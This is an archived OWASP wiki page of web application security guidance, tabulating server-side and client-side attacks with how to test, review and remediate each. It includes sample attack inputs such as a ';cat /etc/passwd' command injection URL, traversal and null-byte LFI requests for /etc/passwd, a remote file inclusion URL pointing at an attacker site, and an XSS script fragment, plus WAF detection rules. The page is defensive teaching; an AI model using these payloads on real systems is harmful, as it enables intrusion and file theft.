This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Web Application Security Guidance
Service Side Attacks
These are attacks that target the web application/service directly.
| Issue Name | Description | How to test for the issue | How identify the issue during code review | Remediation | ||
|---|---|---|---|---|---|---|
Command Injection |
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. | Appending a semicolon to the end of a URL query parameter followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon. This is because the ; is interpreted as a command separator.
Example: http://sensitive/something.php?dir=%3Bcat%20/etc/passwd If the applucation responds with the output of the /etc/passwd file then you know the attack has been successful. Many web application scanners can be used to test for this attack as they inject variations of command injections and test the response. Equally Static Code Analysis tools check the data flow of untrusted user input into a web application and check if the data is then entered into a dangerous method which executes the user input as a command. |
During code review, check if any command execute methods are called and in unvalidated user input are taken as data for that command. | When ever possible minimize the use of system command execution for example via Java's
However if it is required then the input must be sanitized for any special characters. For example only whitelist alphanumeric characters. | ||
SQL Injection |
An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
SQL Injection attacks can be divided into the following three classes:
|
Automated Exploitation
Most of the situation and techniques below here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap: https://www.owasp.org/index.php/Automated_Audit_using_SQLMap Equally Static Code Analysis Data flow rules can detect of unsanitized user controlled input can change the SQL query. Stored Procedure Injection When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure. Time delay Exploitation technique The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds. Out of band Exploitation technique This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section. |
During code review please check for any queries to the database are not done via prepared statements.
If dynamic statements are being made please check if the data is sanitized before used as par of the statement. |
Ensure queries to the database are done via prepared statements.
If dynamic statements are being made please ensure the data is sanitized before used as par of the statement. | ||
XML External Entity Injection (XXE) |
External Entity: The set of valid entities can be extended by defining new entities.
If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. |
To test for XXE vulnerabilities, one can use the following input:
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file. Static code analysis tools can pick up XXE attacks in code by checking if External Entities are accepted by the application or not. |
Check the new feature if it takes in XML documents and if the xml parsering engine is configured to accept inline DTD. | XML processor should be configured to use only a locally defined Document Type Definition (DTD), and disallow any inline DTD that is specified within user supplied XML documents.
Each XML parsing engine has their own way of disabling inline DTD to prevent XXE, therefore please check the parsers documentation in order to learn how to disable inline DTD. | ||
Predictable random value |
Session Cookies need to be long so the key space is long enough that burte-force attacks, the automated attack of trying every combination till its success full is not feasible.
The second requirement is that the session tokens are not predictable, therefore if the attacker can derive a sequence from the session generation, the attacker is able to predict valid sessions and hijack user accounts. |
To test this make multiple requests to the web application requesting new session cookies every-time. If the session cookies are not randomly generated with sufficient entropy the it will be apparent through statistical analysis of the results.
Tools such as burp suites can run such checks. Static Code Analysis can detect instances where predictable random values are generated. |
If the feature requires a random number for a session token or other sensitive requests, please check if it uses entropy and a pesudo random number generator. | Please use a cryptographically strong random number generator.
In Java it is:
In .Net it is:
| ||
Insecure Data De-Serialisation |
The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. The vulnerability arises when developers write code that accepts serialized data from users and attempt to unserialize it in securely for use in the program resulting in remote code execution. | The first thing you need to do is find a part of the application that takes a serialized object as input. It would help if you knew what a serialized object looked like. Luckily they’re pretty easy to spot. Let’s take a look at the hexdump of some Jenkins traffic:
There are two separate Java objects in the above screenshot. One is base64 encoded and can be seen in the rightmost column beginning with “rO0AB”. The other is raw binary going over the wire, so we’ll have to look at the hex column in the middle. It begins with the bytes “ac ed 00 05 73 72”. This is what serialized Java objects look like, they can be identified by this header. They always begin with “ac ed 00 05…” and when that is base64 encoded it comes out as “rO0…”. Keep an eye open for those two strings. Once you have identified a serialized object generate a payload for testing. Go download the “ysoserial” tool from GitHub. Run it with something like this:
Now when you’re testing, if you see a file created at /tmp/pwned, you know it ran, and the test is successful. |
During code review, check if the feature accepts serialized untrusted user data. Equally if user data is un-serialized using an unsafe class such as org/apache/commons/collections/functors/InvokerTransformer.class then it is exposed to this issue. | IBM have releases guidance on how to un-serialized untrusted user data securely here: http://www.ibm.com/developerworks/library/se-lookahead/
An implementation of the guidance can be found here https://github.com/kantega/notsoserial Note: https://github.com/kantega/notsoserialNotSoSerial requires java app invocation changes to work and will work with any application without modification. It does configuration-driven white or black listing via lookahead. | ||
Directory (Path) Traversal |
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.
Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application. The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands. Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated. In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites. |
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd For the cookies example:
It's also possible to include files and scripts located on external website. http://example.com/index.php?file=http://www.owasp.org/malicioustxt If protocols are accepted as arguments, as in the above example, it's also possible to probe the local filesystem this way. http://example.com/index.php?file=file:///etc/passwd If protocols are accepted as arguments, as in the above examples, it's also possible to probe the local services and nearby services. |
When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, they can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
PHP: JSP/Servlet: ASP.net: |
One solution to this issue is for the application or service to have a look-up table of index values mapped to local files on the system, thus white-listing the allowed paths.
Alternatively, as with any user input, the input data should be validated. For Directory traversal, it is recommended to firstly canonicalize the full path name, then validate that the path is an intended/allowed directory on the file system. Finally, if using Java security manager, it is possible to grant Java permission to a specific directory. | ||
Privileged account pages exposure |
Example | Example | Example | Example | ||
Local File Inclusion |
Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
|
Since LFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.
Consider the following example: http://vulnerable_host/preview.php?file=example.html This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server. Typical proof-of-concept would be to load passwd file: http://vulnerable_host/preview.php?file=../../../../etc/passwd If the above mentioned conditions are met, an attacker would see something like the following:
|
Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:
In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes: http://vulnerable_host/preview.php?file=../../../../etc/passwd%00 |
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. | ||
Remote File Inclusion |
Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. | Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL: http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page In this case the remote file is going to be included and any code contained in it is going to be run by the server. |
During code review, look for scripts which take filenames as parameters. Consider the following PHP example:
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL: http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page In this case the remote file is going to be included and any code contained in it is going to be run by the server. |
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. |
Client Side Attacks
These are attacks that require an action on the client (e.g. a user's browser) for the attack to be successful.
| Issue Name | Description | How to test for the issue | How identify the issue during code review | Remediation |
|---|---|---|---|---|
Session Fixation |
||||
Reflected Cross Site Scripting (XSS) |
Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.
Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim's browser. |
Testing for Reflected Cross Site Scripting involves injecting javascript into parameters in a web request and checking if the script is rendered as part of the response.
For a full list of the type of requests and techniques please see: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet Most modern web application security scanners have features to detect reflected cross site scripts. |
If a feature echos user supplied data without encoding, then the data can be interpreted as code in HTML.
An example of that are error pages to due invalid search strings. |
Encode an parameters in the response which is user supplied data.
In java specifically JSTL, using the c:out tag or fn:escapeXml()'sEL function will escape and encode HTML characters safely. |
Persistent Cross Site Scripting |
Persistent Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.
Persistent XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS. This vulnerability can be used to conduct a number of browser-based attacks including:
|
Testing Persistent Cross Site Scripting is predominantly a manual effort.
A tester needs to identify user data which is stored and echoed back elsewhere the application. The tester then inject javascript into these fields and if the page runs the script it means its vulnerable to stored cross site scripting. Netflix has released an tool which they use to test for Persistent Cross Site Scripting: http://techblog.netflix.com/2015/08/announcing-sleepy-puppy-cross-site.html |
If a feature echos user supplied data without encoding, then the data can be interpreted as code in HTML. |
To help defend against Persistent Cross Site Scripting its important to ensure that user-supplied data is output encoded before being served by the application to other users.
In essence output encoding effectively works by escaping user supplied data immediately before it is served to users of the application. Example in java <c:out> cab be used to perform output encoding as it escapes html characters, helping defend against XSS attacks. |
DOM based Cross Site Scripting |
DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.
The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker. There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists. |
Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.
The first hypothetical example uses the following client side code:
An attacker may append #<script>alert('xss')</script> to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of "xss" is displayed by the page. Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact. |
Front end developers must check for any user supplied data that isn't html and then javascript encoded.
This is because as the name implies DOM based Cross Site Scripting occurs at the Browser Document Object Model (DOM). |
To defend against Cross Site Scripting attacks within the application user's Browser Document Object Model (DOM) environment a defense-in-depth approach is required, combining a number of security best practices. Note DOM XSS the attack is injected into the browser DOM, this adds additional complexity and makes it difficult to prevent and highly context specific, because the attacker can inject HTML, HTML attributes, CSS as well as URLs. As a general set of principles the application should first HTML encode and then javascript encode any user supplied data that is returned to the client. One such solution is using the OWASP ESAPI which is a free open source security library. |
Cross Site Request Forgery (CSRF) |
CSRF is an attack that forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.
CSRF relies on the following:
|
Manually testing sensitive live web pages is the preferred method, however tools such as BURP suite do have CSRF automated scanning rules available. Other tools include:
Either way, a test case can be constructed as follows:
|
If session management of a sensitive form relies only values such as a cookie then the application is vulnerable. |
To mitigate against a CSRF attack, the web application needs proof that the user initiated the actions being sent to the site.
This can be achieved by sending unique random variables (often referred to as anti-CSRF tokens), as a hidden parameter in a form field. The application then validates if the submitted form also includes the anti-CSRF token sent to the user agent. Note: Please use a cryptographically strong random number generator. I /in Java it is: In .Net it is: |
Click Jacking |
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms. To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website. One of the most notorious examples of Clickjacking was an attack against the Adobe Flash plugin settings page. By loading this page into an invisible iframe, an attacker could trick a user into altering the security settings of Flash, giving permission for any Flash animation to utilize the computer's microphone and camera. Clickjacking also made the news in the form of a Twitter worm. This clickjacking attack convinced users to click on a button which caused them to re-tweet the location of the malicious page, and propagated massively. There have also been clickjacking attacks abusing Facebook's "Like" functionality. Attackers can trick logged-in Facebook users to arbitrarily like fan pages, links, groups, etc |
Testing for clickjacking can be done by creating an HTML page and include an iframe of a sensitive page of the web application. If the iFrame renders then the vulnerability exists. | During code review, check if pages with sensitive functionality have either a Content Security Policy header with with restricted frame-ancestors directive OR a restricted X-Frame-Options response header | There are two many ways to defend against Clickjacking at the browser level:
1) using the Content Security Policy frame-ancestors directive The frame-ancestors directive can be used in a Content-Security-Policy HTTP response header to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites. frame-ancestors allows a site to authorize multiple domains using the normal Content Security Policy symantics. See https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors for further details 2) X-Frame-Options Response Headers (note this is being slowly deprecated in some browsers) The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites. X-Frame-Options Header Types There are three possible values for the X-Frame-Options header: DENY, which prevents any domain from framing the content. SAMEORIGIN, which only allows the current site to frame the content. ALLOW-FROM uri, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http://www.example.com) Check Limitations Below this will fail open if the browser does not |
Insecure URL Redirects |
Insecure URL Redirection is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page. | This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance. A phishing attack example could be the following: http://www.target.site?#redirect=www.fake-target.site The victim that visits target.site will be automatically redirected to fake-target. site where an attacker could place a fake page to steal victim's credentials. |
The following Java code receives the URL from the 'url' GET parameter and redirects to that URL.
|
Safe use of redirects and forwards can be done in a number of ways:
|
Reflected File Downloads |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/
Reflected File Download (RFD) is a web attack vector that enables attackers to gain control over a victim’s machine. In an RFD attack, the user follows a malicious link to a trusted domain resulting in a file download from that domain. Once executed, as the attacker can execute commands on the Operating System level of the client’s computer. Example: http://pivotal.io/security/cve-2015-5211 |
For a Reflected File Download attack to be successful, there are three simple requirements:
1) Reflected – Some user input is being "reflected" to the response content. This is used to inject shell commands. 2) Filename – The URL of the vulnerable site or API is permissive and accepts additional input. This is often the case and is used by attackers to set the extension of the file to an executable extension. 3)Download – The response is being downloaded and a file is created "on-the-fly" by the Web browser. The browser then sets the attacker-controlled filename that was parsed in requirement 2 above. |
During code review check if the resources are responding with a text/plain or unknown content-type, attackers can make browser “guess” that the file is binary and required download. | WAF users can add the following custom rule in order to detect active probes and exploits of Reflected File Download vulnerabilities until a permanent fix is applied:
SecRule REQUEST_URI "@rx (?i\:^[^?]*\\.(bat\|cmd)(\\W\|$))" The above rule detects exploitation using the more dangerous "bat" and "cmd" extension, however, there are quite a few additional dangerous extensions that you might want to add to the rule. Note that if your site legitimately host files with "bat" and "cmd" extensions, this rule will block such functionality. ModSecurity users can use the following equivalent rule: SecRule REQUEST_URI "@rx (?i:^[^?]*\.(bat|cmd)(\W|$))" "phase:1,id:100,t:none,t:urlDecodeUni,block,msg:'PotentialReflected File Download (RFD) Attack.'" Defenders should deploy secure configurations in web servers and web application firewalls to prevent exploiting RFD issues. Builders should write secure APIs and follow secure development guidelines that are not vulnerable to RFD. |
